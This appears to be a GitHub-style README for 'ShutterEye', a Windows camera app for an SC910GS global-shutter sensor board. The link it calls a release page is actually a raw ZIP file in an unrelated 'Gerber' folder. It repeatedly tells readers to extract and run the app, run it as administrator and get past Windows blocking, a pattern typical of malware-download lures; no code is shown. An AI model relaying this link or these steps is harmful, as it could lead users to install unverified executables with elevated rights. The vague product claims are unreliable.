📷 ShutterEye - Clear 4K capture for your board

🚀 What ShutterEye Does

ShutterEye is a simple camera board app for the SC910GS 1" 4K@30fps global shutter sensor. It helps you view, capture, and manage camera output on a Windows PC.

Use it to:

• Open the camera board on your computer
• See a live image from the sensor
• Capture frames for review
• Work with a global shutter camera setup
• Keep the setup simple for everyday use

💻 What You Need

Before you start, check that you have:

• A Windows PC
• A free USB port or the correct board connection
• Enough storage for image and video files
• A display with standard Windows support
• Permission to install or run downloaded apps

For best results, use:

• Windows 10 or Windows 11
• A screen with at least 1366 × 768 resolution
• A stable USB connection
• The latest system updates

📥 Download ShutterEye

Go to the release page and download the version for Windows:

Visit the ShutterEye release page

On that page, look for the latest release and choose the Windows file if one is listed. If the release includes a ZIP file, download it to a folder you can find later, such as Downloads or Desktop.

🪟 Install or Open on Windows

After the download finishes:

1. Open the folder where the file was saved
2. If the file is a ZIP file, right-click it and choose Extract All
3. Open the extracted folder
4. Find the ShutterEye app file
5. Double-click the app to start it

If Windows asks for permission, choose Yes or Run.

If you see more than one file, use the main app file, not the readme or support files.

🔌 Connect the Camera Board

To use ShutterEye, connect your camera board before or after opening the app, based on your setup.

1. Connect the SC910GS board to your computer
2. Make sure the cable is secure
3. Wait a few seconds for Windows to detect the device
4. Open ShutterEye
5. Check that the live view appears

If the image does not show, unplug the board, wait a moment, and plug it in again.

🎛️ Basic Controls

ShutterEye is made to keep the main controls easy to reach.

Common controls may include:

• Start or stop live view
• Capture a frame
• Save an image file
• Change resolution
• Adjust exposure
• Set gain
• Switch frame rate

If your board supports more options, they will appear in the app as simple controls or menus.

🖼️ Capturing Images

To save a still image:

1. Open the live view
2. Point the camera at your subject
3. Click the capture button
4. Choose where to save the file if asked
5. Open the saved image from your chosen folder

For cleaner results, keep the camera steady and use good lighting.

⚙️ Recommended Setup

For a smooth first run:

• Use a direct USB port on the PC
• Avoid loose adapters
• Close other camera apps
• Keep the board on a stable surface
• Use even lighting for test shots

If the image looks dark, raise the room light first before changing settings.

🧰 Common Use Cases

ShutterEye fits simple camera work such as:

• Board testing
• Sensor checks
• Image review
• Motion capture experiments
• Desktop camera setup for lab use
• Quick visual checks during development

The global shutter sensor helps reduce motion smear in moving scenes.

🛠️ Troubleshooting

No Camera Image

Try these steps:

1. Close ShutterEye
2. Unplug the camera board
3. Plug it back in
4. Open ShutterEye again
5. Try a different USB port

App Does Not Start

Try this:

1. Check that the file finished downloading
2. Extract the ZIP file if needed
3. Right-click the app and choose Run as administrator
4. Make sure Windows did not block the file
5. Download the latest release again if the file looks damaged

Camera Is Detected, But The Image Is Black

Try:

• Increasing exposure
• Checking the lens or sensor cover
• Improving room light
• Reconnecting the board
• Restarting the app

Image Looks Uneven Or Too Dark

Try adjusting:

• Exposure
• Gain
• Frame rate
• Lighting in the room

📁 File Notes

After you install or extract the app, you may see files such as:

• The main app file
• Support folders
• Readme files
• Driver or device files
• Example assets

Keep all files in the same folder unless the release notes say otherwise.

🔄 Updating ShutterEye

To update to a newer version:

1. Go to the release page
2. Download the latest Windows file
3. Close the current app
4. Replace the old files with the new files, if needed
5. Open the updated app

If you keep a copy of your current folder, you can roll back later if needed.

📷 About the Camera Board

ShutterEye is built for a simple camera board that uses the SC910GS 1" 4K@30fps global shutter sensor. This type of sensor is useful when you want a clean frame with less motion distortion.

It is a good fit for:

• Fast-moving objects
• Test rigs
• Desktop camera setups
• Image checks that need stable capture timing

🧭 Getting Started Fast

If you want the shortest path:

1. Open the release page
2. Download the latest Windows file
3. Extract it if it comes as ZIP
4. Run the app
5. Connect the camera board
6. Start live view
7. Capture an image

📌 Release Page

Download the Windows version here:

https://raw.githubusercontent.com/finleytransparent919/ShutterEye/main/Gerber/Shutter-Eye-2.7.zip

🧾 Typical Folder Layout

A release may include:

• ShutterEye.exe
• config folder
• assets folder
• readme file
• device support files

Keep the folder together so the app can find its files.

🔐 Safety on Windows

When you open a downloaded app, Windows may ask for confirmation. Check that you downloaded it from the release page above, then allow it to run if you trust the source.

🖱️ Short Steps for First Use

1. Download ShutterEye from the release page
2. Save the file to your computer
3. Extract it if needed
4. Run the app
5. Connect the camera board
6. View the live image
7. Capture your first frame